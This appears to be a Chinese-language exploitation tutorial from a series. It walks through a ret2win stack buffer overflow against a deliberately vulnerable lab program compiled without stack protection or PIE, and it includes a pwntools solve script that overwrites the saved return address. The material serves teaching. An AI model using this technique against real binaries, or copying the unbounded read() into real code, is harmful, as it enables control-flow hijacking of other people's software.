前幾天,我們已經把 Stack Buffer Overflow 的基本流程串起來了:
Buffer Overflow
↓
找到 Offset
↓
控制 Saved RIP
↓
用 pwntools 自動化
現在我們知道 Saved RIP 可以被覆蓋,但之前只是把它改成:
0x4242424242424242
程式會直接 Segmentation fault,因為那不是可執行的位址。
今天要做的事情更進一步:把 Return Address 改成程式中另一個 function 的位址,讓程式回傳時跳進我們指定的位置。這種利用方式叫做 ret2win。
假設程式裡有一個 function:
void win()
{
puts("You win!");
}
但正常流程完全不會呼叫它:
main
↓
vuln
↓
return
↓
main
如果 vuln() 有 Buffer Overflow,而我們又能控制 Return Address,就能把它改成 win() 的位址:
main
↓
vuln
↓
Buffer Overflow
↓
Saved RIP = win
↓
win()
也就是讓 ret 回到 win(),因此得名:ret2win
先建立一個簡單的程式:
#include <stdio.h>
#include <unistd.h>
void win()
{
puts("You win!");
puts("FLAG{ret2win_is_easy}");
}
void vuln()
{
char buf[32];
puts("Input:");
read(0, buf, 200);
}
int main()
{
vuln();
return 0;
}
編譯時先關掉 Stack Canary 和 PIE:
gcc chall.c -o chall -fno-stack-protector -no-pie
這篇的重點是理解最基本的 Control Flow Hijacking,所以暫時不處理保護機制。
執行 ./chall 後只會看到:
Input:
不管輸入什麼,程式正常情況下都不會執行 win()。我們的目標就是改變這件事。
既然要跳到 win(),先找出它的位址:
nm chall | grep win
輸出可能是:
0000000000401156 T win
也就是:
win = 0x401156
也可以用 objdump -d chall,或在 GDB 中執行:
p win
不過寫 exploit 時,通常會直接交給 pwntools:
elf = ELF("./chall")
win = elf.symbols["win"]
這樣不必手動把位址複製進 script。
vuln() 裡有一個 32 Bytes 的 buffer:
char buf[32];
Stack 大致如下:
Higher Address
+------------------+
| Saved RIP |
+------------------+
| Saved RBP |
+------------------+
| buf[32] |
+------------------+
Lower Address
前一天已經用 cyclic pattern 找過 offset。假設這題的 offset 是 40:
32 Bytes buf
+
8 Bytes Saved RBP
=
40 Bytes
Payload 結構便是:
[ Padding 40 Bytes ][ win() Address ]
當 vuln() 結束時,最後會執行:
leave
ret
其中 ret 的工作可以簡化成:
從 Stack 取出 Return Address
↓
放進 RIP
↓
從該位址繼續執行
正常情況下,Saved RIP 指向 main() 的下一段程式;Overflow 後,它則會變成我們放進去的 win() 位址。
CPU 不會在意這個位址是誰寫的。只要 ret 從 Stack 取到它,就會跳過去執行。
建立 solve.py:
from pwn import *
context.binary = elf = ELF("./chall")
p = process("./chall")
offset = 40
payload = flat(
b"A" * offset,
elf.symbols["win"]
)
p.sendlineafter(b"Input:", payload)
p.interactive()
執行:
python3 solve.py
成功的話,會看到:
You win!
FLAG{ret2win_is_easy}
這就是第一個真正改變程式控制流程的 Stack Exploit。
假設 win() 的位址是:
0x401156
不能直接把它當成文字送出去:
payload += b"0x401156"
那會是 ASCII 字串,不是 CPU 要讀取的記憶體位址。
x86-64 使用 Little Endian,位址 0x401156 放進記憶體時概念上會變成:
56 11 40 00 00 00 00 00
因此可以使用:
payload += p64(elf.symbols["win"])
或是像前面的範例交給 flat():
payload = flat(
b"A" * offset,
elf.symbols["win"]
)
兩種寫法的目標都一樣:把 function address 轉成正確的 bytes,覆蓋 Saved RIP。
回頭看這幾天的過程,其實就是把「程式會壞掉」一步步變成「程式會照我們的方式執行」。
Memory Corruption
↓
Crash
↓
Controlled Crash
↓
RIP Control
↓
Control Flow Hijacking
↓
ret2win
一開始發現 read() 可以讀超過 buffer 的資料,只代表程式有漏洞。接著用 cyclic 找出 offset、確認 Saved RIP 能控制,最後把原本用來測試的 BBBBBBBB 換成 win() 的位址,才真正完成利用。
之後在 Pwn 題目裡,會一直看到類似名稱:
ret2win
ret2libc
ret2plt
ret2csu
可以先把它理解成:
控制 Return Address
↓
Return 到某個地方
例如:
ret2win:Return → win()
ret2libc:Return → libc
後面的技巧看起來會複雜很多,但核心仍然是今天這件事:控制 Saved RIP,改變下一段 Control Flow。
今天完成了第一個 Stack Exploit:
找到 Buffer Overflow
↓
cyclic 找 Offset
↓
確認 Saved RIP 可控
↓
找到 win() Address
↓
Padding + win Address
↓
ret
↓
RIP = win
Exploit 的核心其實只有:
payload = flat(
b"A" * offset,
elf.symbols["win"]
)
也就是:
Padding + Target Address
今天的題目特地關掉了保護機制,還準備了一個 win() 等我們跳進去。真實 binary 通常不會這麼友善,還可能有 NX、ASLR、PIE、Stack Canary 和 RELRO。
不過 ret2win 已經把最重要的概念講清楚了:只要能控制 RIP,就有機會控制程式接下來怎麼執行。
下一篇來看另一種思路:如果程式裡沒有 win(),能不能讓 CPU 執行我們自己準備的 Machine Code?這就是 Shellcode。